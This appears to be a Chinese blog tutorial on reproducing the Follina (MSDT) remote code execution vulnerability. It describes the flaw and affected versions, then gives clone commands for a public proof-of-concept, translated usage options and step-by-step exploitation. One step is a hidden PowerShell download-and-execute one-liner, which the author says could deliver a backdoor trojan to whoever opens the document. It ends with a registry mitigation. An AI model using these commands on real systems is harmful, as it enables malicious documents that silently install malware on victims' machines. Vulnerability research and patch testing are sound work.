1500字范文,内容丰富有趣,写作好帮手!
1500字范文 > CVE--30190(follina):Microsoft诊断工具(MSDT)远程代码执行漏洞复现(超级详细)

CVE--30190(follina):Microsoft诊断工具(MSDT)远程代码执行漏洞复现(超级详细)

时间:2019-09-05 16:20:25

相关推荐

CVE--30190(follina):Microsoft诊断工具(MSDT)远程代码执行漏洞复现(超级详细)

文章目录

免责声明前言一、漏洞简介风险等级评判二、影响版本office版本三、漏洞复现复现环境工具使用方法利用第一种第二种防范避免结尾参考

免责声明

本文章仅供学习和研究使用,严禁使用该文章内容对互联网其他应用进行非法操作,若将其用于非法目的,所造成的后果由您自行承担,产生的一切风险与本文作者无关,如继续阅读该文章即表明您默认遵守该内容。

前言

MS Office docx 文件可能包含作为 HTML 文件的外部 OLE 对象引用。有一个 HTML 场景 ms-msdt: 调用 msdt 诊断工具,它能够执行任意代码(在参数中指定)。

结果是一个可怕的攻击向量,通过打开恶意 docx 文件(不使用宏)来获取 RCE。

通俗来说就是调用远程html文件来执行任意代码。

一、漏洞简介

CVE: CVE--30190

组件: Microsoft Windows Support Diagnostic Tool(MSDT) Windows

漏洞类型: 代码执行

影响: 服务器接管

简述: 从 Word 等调用应用程序使用 URL 协议调用 MSDT 时存在远程执行代码漏洞。成功利用此漏洞的攻击者可以使用调用应用程序的权限运行任意代码。然后,攻击者可以安装程序、查看、更改或删除数据,或者在用户权限允许的上下文中创建新帐户。

风险等级评判

06月01日,微软官方发布了Microsoft Windows Support Diagnostic Tool(MSDT)的风险通告,漏洞编号为CVE--30190,漏洞等级:高危,漏洞评分:7.8。目前,该漏洞的漏洞细节与POC均已公开,已发现在野利用。目前,该漏洞暂无官方补丁

360CERT对该漏洞的评定结果如下:

二、影响版本

几乎可以说覆盖所有常用的windows操作系统了,可见这个漏洞还是非常危险的

Windows Server R2 (Server Core installation)

Windows Server R2

Windows Server (Server Core installation)

Windows Server

Windows Server R2 for x64-based Systems Service Pack 1 (Server Core installation)

Windows Server R2 for x64-based Systems Service Pack 1

Windows Server for x64-based Systems Service Pack 2 (Server Core installation)

Windows Server for x64-based Systems Service Pack 2

Windows Server for 32-bit Systems Service Pack 2 (Server Core installation)

Windows Server for 32-bit Systems Service Pack 2

Windows RT 8.1

Windows 8.1 for x64-based systems

Windows 8.1 for 32-bit systems

Windows 7 for x64-based Systems Service Pack 1

Windows 7 for 32-bit Systems Service Pack 1

Windows Server (Server Core installation)

Windows Server

Windows 10 Version 1607 for x64-based Systems

Windows 10 Version 1607 for 32-bit Systems

Windows 10 for x64-based Systems

Windows 10 for 32-bit Systems

Windows 10 Version 21H2 for x64-based Systems

Windows 10 Version 21H2 for ARM64-based Systems

Windows 10 Version 21H2 for 32-bit Systems

Windows 11 for ARM64-based Systems

Windows 11 for x64-based Systems

Windows Server, version 20H2 (Server Core Installation)

Windows 10 Version 20H2 for ARM64-based Systems

Windows 10 Version 20H2 for 32-bit Systems

Windows 10 Version 20H2 for x64-based Systems

Windows Server Azure Edition Core Hotpatch

Windows Server (Server Core installation)

Windows Server

Windows 10 Version 21H1 for 32-bit Systems

Windows 10 Version 21H1 for ARM64-based Systems

Windows 10 Version 21H1 for x64-based Systems

Windows Server (Server Core installation)

Windows Server

Windows 10 Version 1809 for ARM64-based Systems

Windows 10 Version 1809 for x64-based Systems

Windows 10 Version 1809 for 32-bit Systems

office版本

目前已知影响的版本为:

office Lts

office

office

Office

Office ProPlus

Office 365

三、漏洞复现

说了这么多让我们开始复现吧

复现环境

版本: Windows 10 专业工作站版

版本号: 21H2

操作系统内部版本 19044.1741

kali-linux-.2-amd64

python 3及以上

工具

前面已经提到漏洞的poc已经在网上公开,所以我们使用此项目/chvancooten/follina.py(点击直达)

由于GitHub非常的神奇,有的小伙伴经常打不开,所以这里是几个镜像克隆地址(在kali终端输入即可拉取)

克隆地址1

git clone https://hub.fastgit.xyz/chvancooten/follina.py.git

克隆地址2

git clone https://hub.0z.gs/chvancooten/follina.py.git

克隆地址3

git clone https://api.mtr.pub/chvancooten/follina.py.git

使用方法

首先进入poc的文件夹

cd follina.py/

提示:cd为命令,输入文件(夹)名按teb键可以自动补全,例:输入fo,按teb即可完成输入

使用python follina.py -h即可获取使用方法,如图:

知道你们看不懂,给你们中文翻译版(机翻)

选项:-h, --help 显示帮助信息并退出所需的参数:-m {command,binary}, --mode {command,binary}command:命令binary:二进制 执行模式,可以是“二进制”加载一个(远程)二进制,或“命令”运行一个编码的PS命令二进制执行参数:-b BINARY, --binary BINARY要运行的二进制文件的完整路径。SMB共享可以是本地的或远程的命令执行参数:-c COMMAND, --command COMMAND以“命令”模式执行的编码命令可选参数:-t {rtf,docx}, --type {rtf,docx}使用的有效载荷类型,可以是“docx”或“rtf”-u URL, --url URL生成的文档检索有效负载的主机名或IP地址,默认为“localhost”。如果指定了自定义URL方案或路径,则禁用web服务器-H HOST, --host HOST web服务器监听的接口,默认为所有接口(0.0.0.0)-P PORT, --port PORT PORT运行HTTP服务器的端口,默认为80

下面是一些我整理举的一些例子

例子:# 执行本地二进制文件python .\follina.py -m binary -b \windows\system32\calc.exe# 在linux上,需要转义反斜杠python .\follina.py -m binary -b \\windows\\system32\\calc.exe# 从文件共享执行一个二进制文件(可用于农场哈希值👀)python .\follina.py -m binary -b \\localhost\c$\windows\system32\calc.exe# 执行任意的powershell命令python .\follina.py -m command -c "Start-Process c:\windows\system32\cmd.exe -WindowStyle hidden -ArgumentList '/c echo owned > c:\users\public\owned.txt'"# 在默认接口(所有接口,0.0.0.0)上运行web服务器,但告诉恶意文档在http://1.2.3.4/exploit.html上检索它(运行\windows\system32\calc.exe )python .\follina.py -m binary -b \windows\system32\calc.exe -u 1.2.3.4# 只在本地主机上运行web服务器,端口为8080而不是80python .\follina.py -m binary -b \windows\system32\calc.exe -H 127.0.0.1 -P 8080

利用

我这里只给大家展示两种漏洞利用的方法,其他的你们自己探索吧!

第一种

运行本地的某个文件,我这里拿“计算器”这个软件举例

首先我们找到自带的计算器的文件路径为\windows\system32\calc.exe

然后我们在刚才打开的kail终端输入:

python follina.py -t docx -m binary -b \windows\system32\calc.exe

如果出现如下图的报错说明端口被占用了检查一下自己的80端口

或修改poc的端口,执行以下语句

python follina.py -t docx -m binary -b \windows\system32\calc.exe -P 8081

这时说明成功了 ,

不要关闭终端

然后在返回poc的目录下你会发现生成了一个docx文档,

我们运行它,

欧克欧克,我们已经成功复现漏洞了,可喜可贺!

第二种

这里操作和第一种的操作流程和方法一样,这里主要是利用漏洞执行任意的powershell命令,所以首先我先展示一个powershell命令。

cmd.exe /c powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object .webclient).downloadfile('http://0.0.0.0/1.exe','1.exe');start-process 1.exe

这段代码代码是什么意思呢??相信有小伙伴已经明白了‘

就是从http://0.0.0.0/1.exe这个地址下载1.exe这个文件。

downloadfile(‘http://0.0.0.0/1.exe’,‘1.exe’)

后面的1.exe是文件名字。

start-process 1.exe

这段命令就是运行1.exe这个文件。

所以合起来就是从XXX地址下载XX文件并运行它,如果我是一名黑客的话,我会在我的服务器上传一个后门木马,这样当用户点开文档就会自动下载和运行木马了。(只是想想,你可别真做,犯法的!!

如果你对木马感兴趣的话给你推荐:

/NuclearDalance/article/details/116450238

回到正题,还有其他的攻击和复现方法,相信你们可以自己发现,这里我就不做过多分享。

防范避免

目前还有官方的补丁但是可以禁用 MSDT URL 协议可防止故障排除程序作为链接启动,包括整个操作系统的链接。仍然可以使用“获取帮助”应用程序和系统设置中的其他或附加故障排除程序来访问故障排除程序。请按照以下步骤禁用:

以管理员身份运行命令提示符。

要备份注册表项,请执行命令“reg export HKEY_CLASSES_ROOT\ms-msdt filename ”

执行命令“reg delete HKEY_CLASSES_ROOT\ms-msdt /f”。

如何撤消解决方法

以管理员身份运行命令提示符。要恢复注册表项,请执行命令“reg import filename”

结尾

本文章由我,一名在校初中生编写,文章引用了部分文献,链接均在参考

由于时间有点紧所以如果你觉得有什么地方有错误欢迎在评论区指出也可以私信我,有什么不懂的也可以在评论区讨论交流,希望各位大神多指点!最后提醒大家***网络并非法外之地,请大家遵纪守法。***能力越大责任越大哟!

参考

/warning/detail?id=987c83609faa3afc4f3946a5b0321af1

/chvancooten/follina.py

/weixin_45329947/article/details/125089243

/update-guide/zh-CN/vulnerability/CVE--30190

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。